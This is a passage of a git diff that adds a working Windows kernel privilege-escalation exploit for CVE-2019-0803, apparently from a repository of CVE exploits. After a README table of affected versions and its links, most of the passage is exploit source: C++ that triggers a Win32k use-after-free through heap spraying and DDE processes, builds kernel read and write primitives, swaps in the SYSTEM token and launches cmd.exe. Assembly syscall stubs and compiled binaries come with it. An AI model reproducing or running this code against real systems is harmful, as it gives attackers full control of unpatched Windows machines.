Vulnerability'. + +#### ImpactVersion + +| Product | CPU Architecture | Version | Update | Tested | +| ------------------- | ---------------- | ------- | ------ | ------------------ | +| Windows 10 | x86/x64 | | | | +| Windows 10 | x86/x64 | 1607 | | | +| Windows 10 | x86/x64 | 1703 | | | +| Windows 10 | x86/x64/ARM64 | 1709 | | | +| Windows 10 | x86/x64/ARM64 | 1803 | | | +| Windows 10 | x86/x64/ARM64 | 1809 | | | +| Windows 7 | x86/x64 | | SP1 | | +| Windows 8.1 | x86/x64 | | | | +| Windows Rt 8.1 | | | | | +| Windows Server 2008 | x86/x64 | | SP2 | ✔ | +| Windows Server 2008 | x86/x64 | R2 | SP1 | | +| Windows Server 2012 | | | | | +| Windows Server 2012 | | R2 | | | +| Windows Server 2016 | | | | | +| Windows Server 2019 | | | | | +| Windows Server | | 1709 | | | +| Windows Server | | 1803 | | | + +#### Patch + +``` +https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803 +``` + +#### Utilization + +CompilerEnvironment + +- VS2019(V142)X64 Debug + +Here the test machine is Windows Server 2008 R2 X64, on the GIF map + +![11](https://raw.github.com/Ascotbe/Image/master/Kernelhub/CVE-2019-0803_win2008_r2_x64.gif) + +#### Analyze +- https://bbs.pediy.com/thread-260289.htm +- https://www.jianshu.com/p/91e0f79f36eb +- https://zhuanlan.zhihu.com/p/62520006 \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test.exe b/00-CVE_EXP/CVE-2019-0803/poc_test.exe new file mode 100644 index 00000000..2633db86 Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0803/poc_test.exe differ diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test.sln b/00-CVE_EXP/CVE-2019-0803/poc_test.sln new file mode 100644 index 00000000..f6fe69ec --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/poc_test.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.27428.2005 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "poc_test", "poc_test\poc_test.vcxproj", "{13B512BD-3E32-4787-9C1C-0966899F3608}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x64.ActiveCfg = Debug|x64 + {13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x64.Build.0 = Debug|x64 + {13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x86.ActiveCfg = Debug|Win32 + {13B512BD-3E32-4787-9C1C-0966899F3608}.Debug|x86.Build.0 = Debug|Win32 + {13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x64.ActiveCfg = Release|x64 + {13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x64.Build.0 = Release|x64 + {13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x86.ActiveCfg = Release|Win32 + {13B512BD-3E32-4787-9C1C-0966899F3608}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {FC1892D3-67AE-4D7F-99F6-684EA05DA216} + EndGlobalSection +EndGlobal diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/DDE.cpp b/00-CVE_EXP/CVE-2019-0803/poc_test/DDE.cpp new file mode 100644 index 00000000..97d6e97a Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0803/poc_test/DDE.cpp differ diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/main.cpp b/00-CVE_EXP/CVE-2019-0803/poc_test/main.cpp new file mode 100644 index 00000000..633fe8b1 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/poc_test/main.cpp @@ -0,0 +1,570 @@ +#include "stdafx.h" + +PSHAREDINFO gSharedInfo = NULL; + +HWND hwndIcon1 = NULL; +HWND hwndIcon2 = NULL; +PBYTE pwndIcon1 = NULL; +PBYTE pwndIcon2 = NULL; + +HWND hwndMenu = NULL; + +unsigned long long MySecTokenAddr = NULL; +unsigned long long MyEPROCESSAddr = NULL; + +HDC hdc = NULL; +HGDIOBJ hgdiObj = NULL; +PBYTE pgdiObj = NULL; + +HBITMAP hBitmap[1000] = { NULL }; + +static PBYTE buffFakePal = NULL; +static LPACCEL buffAccTabl = NULL; + +unsigned long long SystemSecurityTokenAddr = NULL; + +static BOOL xxInitExploitInfo(VOID) +{ + gSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32"), "gSharedInfo"); + return TRUE; +} + +static BOOL xxZeroIconWindow2strName(VOID) +{ + DWORD offset = (DWORD)((pwndIcon2 + OFFSET_STRNAME_WIN7) - (pwndIcon1 + LENGTH_TAGWND)); + + DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0); + DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4); + DWORD dwori3 = GetWindowLong(hwndIcon1, offset + 0x8); + DWORD dwori4 = GetWindowLong(hwndIcon1, offset + 0xC); + + SetWindowLongW(hwndIcon1, offset + 0x0, 0); + SetWindowLongW(hwndIcon1, offset + 0x4, 0); + SetWindowLongW(hwndIcon1, offset + 0x8, 0); + SetWindowLongW(hwndIcon1, offset + 0xC, 0); + + WCHAR szPath[100] = {}; + GetWindowText(hwndIcon2, szPath, 100); + printf("[*]text:%ws\n", szPath); + + if (wcslen(szPath) == 0) + { + SetWindowLongW(hwndIcon1, offset + 0x0, dwori1); + SetWindowLongW(hwndIcon1, offset + 0x4, dwori2); + SetWindowLongW(hwndIcon1, offset + 0x8, dwori3); + SetWindowLongW(hwndIcon1, offset + 0xC, dwori4); + return TRUE; + } + else + { + return FALSE; + } +} + +typedef struct _LARGE_UNICODE_STRING +{ + ULONG Length; // 000 + ULONG MaximumLength : 31; // 004 + ULONG bAnsi : 1; // 004 + PWSTR Buffer; // 008 +} LARGE_UNICODE_STRING, * PLARGE_UNICODE_STRING; + +static BOOL WriteKernelAddress(UINT64 qwAddress, LPWSTR content) +{ + DWORD offset = (DWORD)((pwndIcon2 + OFFSET_STRNAME_WIN7) - (pwndIcon1 + LENGTH_TAGWND)); + + //ע:ﲻҪLARGE_UNICODE_STRINGijֶó0 + //DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0); + //DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4); + DWORD dwori3 = GetWindowLong(hwndIcon1, offset + 0x8); + DWORD dwori4 = GetWindowLong(hwndIcon1, offset + 0xC); + + //SetWindowLongW(hwndIcon1, offset + 0x0, 0); + //SetWindowLongW(hwndIcon1, offset + 0x4, 0); + SetWindowLongW(hwndIcon1, offset + 0x8, (qwAddress & 0xffffffff)); + SetWindowLongW(hwndIcon1, offset + 0xC, (qwAddress & 0xffffffff00000000) >> 32); + + SetWindowText(hwndIcon2, content); + + //SetWindowLongW(hwndIcon1, offset + 0x0, dwori1); + //SetWindowLongW(hwndIcon1, offset + 0x4, dwori2); + SetWindowLongW(hwndIcon1, offset + 0x8, dwori3); + SetWindowLongW(hwndIcon1, offset + 0xC, dwori4); + + return TRUE; +} + +static int ReadKernelAddress(UINT64 qwAddress) +{ + DWORD offset = (DWORD)((pwndIcon2 + OFFSET_SPWNDPARENT_WIN7) - (pwndIcon1 + LENGTH_TAGWND)); + + DWORD dwori1 = GetWindowLong(hwndIcon1, offset + 0x0); + DWORD dwori2 = GetWindowLong(hwndIcon1, offset + 0x4); + + SetWindowLongW(hwndIcon1, offset + 0x0, (qwAddress & 0xffffffff)); + SetWindowLongW(hwndIcon1, offset + 0x4, (qwAddress & 0xffffffff00000000) >> 32); + + unsigned int read = (int)GetAncestor(hwndIcon2, GA_PARENT); + + SetWindowLongW(hwndIcon1, offset + 0x0, dwori1); + SetWindowLongW(hwndIcon1, offset + 0x4, dwori2); + + return read; +} + +unsigned long long ReadPtrFromKernelMemory(unsigned long long addr) { + unsigned int LowAddr = ReadKernelAddress(addr); + unsigned int HighAddr = ReadKernelAddress(addr + 4); + unsigned long long Addr = ((unsigned long long)HighAddr << 32) + LowAddr; + return Addr; +} + +typedef struct _HEAD +{ + HANDLE h; + DWORD cLockObj; +} HEAD, * PHEAD; + +typedef struct _THROBJHEAD +{ + HEAD h; + PVOID pti; +} THROBJHEAD, * PTHROBJHEAD; + + +typedef struct _THRDESKHEAD +{ + THROBJHEAD h; + PVOID rpdesk; + PVOID pSelf; // points to the kernel mode address +} THRDESKHEAD, * PTHRDESKHEAD; + + +void FindSecurityTokens() { + unsigned long long pti = (unsigned long long)(&((THRDESKHEAD*)pwndIcon1)->h.pti); + printf("[*]Searching for current processes EPROCESS structure\n"); + + unsigned long long ptiaddress = ReadPtrFromKernelMemory(pti); + printf("\tptiaddress == %llx\n", ptiaddress); + + unsigned long long threadTagPointer = ReadPtrFromKernelMemory(ptiaddress); + printf("\ttagTHREAD == %llx\n", threadTagPointer); + + unsigned long long kapcStateAddr = ReadPtrFromKernelMemory(threadTagPointer + OFFSET_APCADDR_WIN7); + printf("\tkapc_stateAddr == %llx\n", kapcStateAddr); + + MyEPROCESSAddr = ReadPtrFromKernelMemory(kapcStateAddr + OFFSET_APCEPROCESS_WIN7); + + MySecTokenAddr = ReadPtrFromKernelMemory(MyEPROCESSAddr + OFFSET_SECTOKEN_WIN7); + printf("\tOriginal security token pointer: 0x%llx\n", MySecTokenAddr); + + printf("[*]Searching for SYSTEM security token address\n"); + + unsigned long long nextProc = ReadPtrFromKernelMemory(MyEPROCESSAddr + OFFSET_EPROCESSBLINK_WIN7) - OFFSET_EPROCESSBLINK_WIN7; + printf("\tNext eprocess address: 0x%llx\n", nextProc); + + unsigned int pid = ReadKernelAddress(nextProc + OFFSET_EPROCESSPID_WIN7); + printf("\tFound pid: 0x%X\n", pid); + + while (true) { + nextProc = ReadPtrFromKernelMemory(nextProc + OFFSET_EPROCESSBLINK_WIN7) - OFFSET_EPROCESSBLINK_WIN7; + printf("\tNext eprocess address: 0x%llx\n", nextProc); + + pid = ReadKernelAddress(nextProc + OFFSET_EPROCESSPID_WIN7); + printf("\tFound pid: 0x%X\n", pid); + //Step 9.2 + if (pid == 4) { + printf("\ttarget process found!\n"); + SystemSecurityTokenAddr = ReadPtrFromKernelMemory(nextProc + OFFSET_SECTOKEN_WIN7); + break; + } + } +} + +static BOOL xxCreateIconWindowEx(VOID) +{ + // icon + HWND hwnd1 = CreateWindowExW(0, + L"#32772", + NULL, + WS_MINIMIZE | WS_DISABLED, + 0, + 0, + 0, + 0, + NULL, + NULL, + NULL, + NULL); + // icon + HWND hwnd2 = CreateWindowExW(0, + L"#32772", + NULL, + WS_MINIMIZE | WS_DISABLED, + 0, + 0, + 0, + 0, + NULL, + NULL, + NULL, + NULL); + + PSERVERINFO psi = gSharedInfo->psi; + PHANDLEENTRY phe = gSharedInfo->aheList; + + PBYTE pwnd1 = NULL; + PBYTE pwnd2 = NULL; + + for (ULONG c = 0; c < psi->cHandleEntries; c++) + { + if ((HWND)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hwnd1) + { + pwnd1 = (PBYTE)phe[c].phead; + break; + } + } + for (ULONG c = 0; c < psi->cHandleEntries; c++) + { + if ((HWND)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hwnd2) + { + pwnd2 = (PBYTE)phe[c].phead; + break; + } + } + if (pwnd1 <= pwnd2) + { + pwndIcon1 = pwnd1; + hwndIcon1 = hwnd1; + pwndIcon2 = pwnd2; + hwndIcon2 = hwnd2; + } + else + { + pwndIcon1 = pwnd2; + hwndIcon1 = hwnd2; + pwndIcon2 = pwnd1; + hwndIcon2 = hwnd1; + } + printf("[+]WND1: %p, WND2: %p\n", pwndIcon1, pwndIcon2); + return TRUE; +} + +static BOOL xxTriggerExploitEx(VOID) +{ + DWORD count = 0; + + HACCEL hAccel1[1000] = { NULL }; + HACCEL hAccel2[1000] = { NULL }; + + for (UINT i = 0; i < 200; i++) + { + //ڴ϶ȷ0x350СڴƬ϶պñBitmapDIBռӳ + LPACCEL Entries = (LPACCEL)malloc(132 * sizeof(Entries)); + for (UINT i = 0; i < 132; i++) + { + Entries[i].fVirt = FCONTROL; + Entries[i].key = 0x1234; + Entries[i].cmd = 0x4444; + } + hAccel1[i] = NtUserCreateAcceleratorTable(Entries, 132); + if (hAccel1[i] == NULL) + { + break; + } + } + + //ռ + for (UINT i = 0; i < 1000; i++) + { + LPACCEL Entries = (LPACCEL)malloc(533 * sizeof(Entries)); + for (UINT i = 0; i < 533; i++) + { + Entries[i].fVirt = FCONTROL; + Entries[i].key = 0x1234; + Entries[i].cmd = 0x4444; + } + hAccel2[i] = NtUserCreateAcceleratorTable(Entries, 533); + } + for (UINT i = 0; i < 400; i++) + { + hBitmap[i] = CreateBitmap(16, 16, 1, 8, NULL); + if (hBitmap[i] == NULL) + { + break; + } + } + hwndMenu = CreateWindowExW(WS_EX_DLGMODALFRAME | WS_EX_LEFTSCROLLBAR | WS_EX_NOINHERITLAYOUT | WS_EX_LAYOUTRTL | WS_EX_COMPOSITED, + L"#32768", + L"bar", + 0x43A | WS_MAXIMIZEBOX | WS_VSCROLL | WS_CAPTION | WS_MAXIMIZE, + 58, + 18, + 60, + -23, + NULL, + NULL, + NULL, + NULL); + NtUserShowWindow(hwndMenu, 0); + UpdateWindow(hwndMenu); + + PAINTSTRUCT paint = { 0 }; + hdc = NtUserBeginPaint(hwndMenu, &paint); + hgdiObj = GetCurrentObject(hdc, OBJ_BITMAP); + + pgdiObj = *(PBYTE *)((*(PBYTE *)((*(PBYTE *)(__readgsqword(0x30) + 0x60)) + 0xF8)) + sizeof(HANDLEENTRY) * (WORD)(DWORD_PTR)hgdiObj); + + for (UINT i = 400; i < 800; i++) + { + hBitmap[i] = CreateBitmap(16, 16, 1, 8, NULL); + if (hBitmap[i] == NULL) + { + break; + } + } + + for (UINT i = 0; i < 1000; i++) + { + PBYTE pacc = NULL; + HACCEL hacc = hAccel2[i]; + PHANDLEENTRY phe = gSharedInfo->aheList; + for (UINT c = 0; c < gSharedInfo->psi->cHandleEntries; c++) + { + if ((HACCEL)(c | (((ULONG_PTR)phe[c].wUniq) << 16)) == hacc) + { + pacc = (PBYTE)phe[c].phead; + break; + } + } + if (pgdiObj == pacc + 0xCB0) + { + Sleep(1000); + return TRUE; + } + } + + return FALSE; +} + +static VOID xxBuildGlobalAccTableEx(PVOID pcbWndExtra) +{ + DWORD num = 0; + if (buffFakePal == NULL) + { + buffFakePal = (PBYTE)malloc(0x98); // PALETTE + ZeroMemory(buffFakePal, 0x98); + *(PVOID *)(buffFakePal + 0x80) = pcbWndExtra; //DBItagRGBQUADַ޸ΪһWndExtraĵַ + *(DWORD *)(buffFakePal + 0x1C) = 1; // PALETTE->cEntries + *(PVOID *)(buffFakePal + 0x88) = # + } + if (buffAccTabl == NULL) + { + buffAccTabl = (LPACCEL)malloc(sizeof(ACCEL) * 132); + ZeroMemory(buffAccTabl, sizeof(ACCEL) * 132); + } + + for (UINT i = 0; i < 132; i++) + { + buffAccTabl[i].fVirt = FCONTROL; + buffAccTabl[i].key = 0x1234; + buffAccTabl[i].cmd = 0x4444; + } + buffAccTabl[11].key = 2; + buffAccTabl[11].cmd = 0; + buffAccTabl[12].fVirt = 0; + buffAccTabl[12].key = 0; + + *(WORD *)&buffAccTabl[15].key = (WORD)((DWORD_PTR)buffFakePal); + *(WORD *)&buffAccTabl[15].cmd = (WORD)((DWORD_PTR)buffFakePal >> 16); + *(WORD *)&buffAccTabl[16].fVirt = (WORD)((DWORD_PTR)buffFakePal >> 32); + *(WORD *)&buffAccTabl[16].key = (WORD)((DWORD_PTR)buffFakePal >> 48); +} + +INT PocMain2() +{ + WCHAR szExePath[MAX_PATH] = { 0 }; + GetModuleFileNameW(NULL, szExePath, MAX_PATH); + + std::cout << "-------------------" << std::endl; + std::cout << "POC - CVE-2019-0803" << std::endl; + std::cout << "-------------------" << std::endl; + + DWORD times = 0; + + xxInitExploitInfo(); + xxCreateIconWindowEx(); + + SetWindowText(hwndIcon2, L"abc"); + + BOOL bReturn = FALSE; + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + + si = { 0 }; + pi = { 0 }; + si.cb = sizeof(STARTUPINFO); + bReturn = CreateProcessW(szExePath, + (LPWSTR)L" DDEServer", + NULL, + NULL, + FALSE, + NULL, + NULL, + NULL, + &si, + &pi); + if (!bReturn) + { + return 0; + } + + do + { + printf("[+]trying %d times \r\n", times); + if (xxTriggerExploitEx()) + { + printf("[!]xxTriggerExploitEx Success \r\n"); + break; + } + NtUserDestroyWindow(hwndMenu); + } while (++times < 10); + + HWND hwndSrever = NULL; + do + { + hwndSrever = FindWindowW(NULL, L"DDEServerPoc"); + } while (hwndSrever == NULL && (Sleep(300), TRUE)); + + //֮ǰȡGDIDDEServer֮滻© + SendMessageW(hwndSrever, MSG_DDESERVER_SET_GDI_OBJ_ADDR, (WPARAM)hgdiObj, NULL); + + //getchar(); + si = { 0 }; + pi = { 0 }; + si.cb = sizeof(STARTUPINFO); + bReturn = CreateProcessW(szExePath, + (LPWSTR)L" DDEClient", + NULL, + NULL, + FALSE, + NULL, + NULL, + NULL, + &si, + &pi); + if (!bReturn) + { + return 0; + } + + HWND hwnd = NULL; + + do + { + hwnd = FindWindowW(NULL, L"DDEClientPoc"); + } while (hwnd == NULL && (Sleep(300), TRUE)); + + printf("[+]hTriggerWindow %p\n", hwnd); + + for (UINT i = 0; i < 300; i++) + { + if (hBitmap[i] != NULL) + { + DeleteObject(hBitmap[i]); + hBitmap[i] = NULL; + } + } + + xxBuildGlobalAccTableEx(pwndIcon1 + OFFSET_CBWNDEXTRA_WIN7); + + SendMessageW(hwnd, MSG_DDESERVER_EXIT, NULL, NULL); + WaitForSingleObject(pi.hProcess, INFINITE); + + for (UINT i = 300; i < 700; i++) + { + if (hBitmap[i] != NULL) + { + DeleteObject(hBitmap[i]); + hBitmap[i] = NULL; + } + } + + printf("[+]Wait\n"); + + Sleep(8000); + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + + HACCEL hAcc[2000] = { NULL }; + for (UINT i = 0; i < 2000; i++) + { + hAcc[i] = NtUserCreateAcceleratorTable(buffAccTabl, 132); // UAF + if (hAcc[i] == NULL) + { + break; + } + } + + RGBQUAD number = {}; + number.rgbBlue = 0x78; + number.rgbGreen = 0x56; + number.rgbRed = 0x34; + + if (SetDIBColorTable(hdc, 0, 1, (const RGBQUAD *)&number)) + { + printf("[+]SetDIBColorTable OK\n"); + } + + if (xxZeroIconWindow2strName()) + { + printf("[+]hTriggerWindow OK\n"); + } + else + { + printf("[!]hTriggerWindow Failed\n"); + return 0; + } + + FindSecurityTokens(); + wchar_t strSysSecToken[5] = { 0x00 }; + strSysSecToken[3] = (SystemSecurityTokenAddr >> 48) & 0xFFFF; + strSysSecToken[2] = (SystemSecurityTokenAddr >> 32) & 0xFFFF; + strSysSecToken[1] = (SystemSecurityTokenAddr >> 16) & 0xFFFF; + strSysSecToken[0] = (SystemSecurityTokenAddr >> 0) & 0xFFFF; + printf("[+]Security token to steal: 0x%llx\n", SystemSecurityTokenAddr); + + WriteKernelAddress(MyEPROCESSAddr + OFFSET_SECTOKEN_WIN7, strSysSecToken); + + printf("Run Cmd...\n"); + system("cmd.exe"); + + return 0; +} +INT DDEServer(); +INT DDEClient(); +INT main(int argc, char *argv[]) +{ + if (argc == 1) + { + PocMain2(); + return 0; + } + + if (argc != 2) + { + return -1; + } + + if (strcmp(argv[1], "DDEServer") == 0) + { + DDEServer(); + } + else if (strcmp(argv[1], "DDEClient") == 0) + { + DDEClient(); + } + + + + return 0; +} diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj b/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj new file mode 100644 index 00000000..81eb9965 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {13B512BD-3E32-4787-9C1C-0966899F3608} + Win32Proj + poctest + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Use + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + Create + Create + Create + Create + + + + + Document + false + ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm + $(IntDir)%(fileName).obj + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj.filters b/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj.filters new file mode 100644 index 00000000..e7c7e6d4 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj.filters @@ -0,0 +1,44 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 头文件 + + + 头文件 + + + 头文件 + + + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 源文件 + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj.user b/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj.user new file mode 100644 index 00000000..88a55094 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/poc_test/poc_test.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/stdafx.cpp b/00-CVE_EXP/CVE-2019-0803/poc_test/stdafx.cpp new file mode 100644 index 00000000..66fa07ac Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0803/poc_test/stdafx.cpp differ diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/stdafx.h b/00-CVE_EXP/CVE-2019-0803/poc_test/stdafx.h new file mode 100644 index 00000000..6d384d09 Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0803/poc_test/stdafx.h differ diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/struct.h b/00-CVE_EXP/CVE-2019-0803/poc_test/struct.h new file mode 100644 index 00000000..7d9da0d3 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/poc_test/struct.h @@ -0,0 +1,154 @@ +#pragma once + +#define DDE_SERVER_APP_NAME L"MyDDEService" +#define DDE_SERVER_TOPIC_NAME L"Topic" +#define DDE_SERVER_ITEM_NAME L"Item" + +#define DDE_SERVER_WINDOW_CAPTION L"DDEServerPoc" +#define DDE_CLIENT_WINDOW_CAPTION L"DDEClientPoc" + +#define MSG_DDESERVER_EXIT WM_USER + 1 +#define MSG_DDESERVER_SET_GDI_OBJ_ADDR WM_USER + 2 + +#define LENGTH_TAGWND 0x128 +#define OFFSET_SPWNDPARENT_WIN7 0x58 +#define OFFSET_STRNAME_WIN7 0xD8 +#define OFFSET_CBWNDEXTRA_WIN7 0xE8 +#define OFFSET_APCADDR_WIN7 0x50 +#define OFFSET_APCEPROCESS_WIN7 0x20 +#define OFFSET_SECTOKEN_WIN7 0x208 +#define OFFSET_EPROCESSPID_WIN7 0x180 +#define OFFSET_EPROCESSBLINK_WIN7 0x188 + +typedef struct _HANDLEENTRY { + PVOID phead; + PVOID pOwner; + BYTE bType; + BYTE bFlags; + WORD wUniq; +} HANDLEENTRY, * PHANDLEENTRY; + +typedef struct _SERVERINFO { + WORD wRIPFlags; + WORD wSRVIFlags; + WORD wRIPPID; + WORD wRIPError; + ULONG cHandleEntries; +} SERVERINFO, * PSERVERINFO; + +typedef struct _SHAREDINFO { + PSERVERINFO psi; + PHANDLEENTRY aheList; + ULONG HeEntrySize; +} SHAREDINFO, * PSHAREDINFO; + + +typedef struct _LARGE_STRING { + ULONG Length; + ULONG MaximumLength : 31; + ULONG bAnsi : 1; + PVOID Buffer; +} LARGE_STRING, * PLARGE_STRING; + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PVOID Ldr; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; +} PEB, * PPEB; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _TEB +{ + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; +}TEB, * PTEB; + +typedef +PVOID +(WINAPI* pfRtlAllocateHeap)( + PVOID HeapHandle, + ULONG Flags, + SIZE_T Size + ); + +extern "C" +HACCEL +NtUserCreateAcceleratorTable( + LPACCEL Entries, + ULONG EntriesCount +); + +extern "C" +BOOL +NtUserShowWindow( + IN HWND hwnd, + IN int nCmdShow +); + +extern "C" +HDC +NtUserBeginPaint( + IN HWND hwnd, + OUT LPPAINTSTRUCT lpPaint +); + +extern "C" +BOOL +NtUserDestroyWindow( + IN HWND hwnd +); \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/targetver.h b/00-CVE_EXP/CVE-2019-0803/poc_test/targetver.h new file mode 100644 index 00000000..e2da66c0 Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0803/poc_test/targetver.h differ diff --git a/00-CVE_EXP/CVE-2019-0803/poc_test/x64.asm b/00-CVE_EXP/CVE-2019-0803/poc_test/x64.asm new file mode 100644 index 00000000..4044c5eb --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0803/poc_test/x64.asm @@ -0,0 +1,50 @@ +EXTERN g_ClientCopyDDEIn1_ContinueAddr:DQ; +EXTERN g_BitMapAddr:DQ; + +.CODE ;; + +HijackTrampoFunc PROC + push r8 + lea rax,[rsp+50h] + mov r8,qword ptr g_BitMapAddr + mov qword ptr [rax+30h],r8 + mov r8,qword ptr [rax+20h] + mov byte ptr [r8+2],2 + pop r8 + pop rax + xor r8d,r8d + mov r11d,eax + lea rcx,[rsp+20h] + lea edx,[r8+18h] + jmp qword ptr g_ClientCopyDDEIn1_ContinueAddr +HijackTrampoFunc ENDP + +NtUserCreateAcceleratorTable PROC + mov r10,rcx + mov eax,10F1h + syscall + ret +NtUserCreateAcceleratorTable ENDP + +NtUserShowWindow PROC + mov r10,rcx + mov eax,1058h + syscall + ret +NtUserShowWindow ENDP + +NtUserBeginPaint PROC + mov r10,rcx + mov eax,1017h + syscall + ret +NtUserBeginPaint ENDP + +NtUserDestroyWindow PROC + mov r10,rcx + mov eax,109dh + syscall + ret +NtUserDestroyWindow ENDP + +END \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2019-0808/CVE-2019-0808_x32.exe b/00-CVE_EXP/CVE-2019-0808/CVE-2019-0808_x32.exe new file mode 100644 index 00000000..488454ce Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0808/CVE-2019-0808_x32.exe differ diff --git a/00-CVE_EXP/CVE-2019-0808/CVE-2019-0808_x64.exe b/00-CVE_EXP/CVE-2019-0808/CVE-2019-0808_x64.exe new file mode 100644 index 00000000..1b0d7280 Binary files /dev/null and b/00-CVE_EXP/CVE-2019-0808/CVE-2019-0808_x64.exe differ diff --git a/00-CVE_EXP/CVE-2019-0808/README.md b/00-CVE_EXP/CVE-2019-0808/README.md new file mode 100644 index 00000000..53ffe676 --- /dev/null +++ b/00-CVE_EXP/CVE-2019-0808/README.md @@ -0,0 +1,44 @@ +### 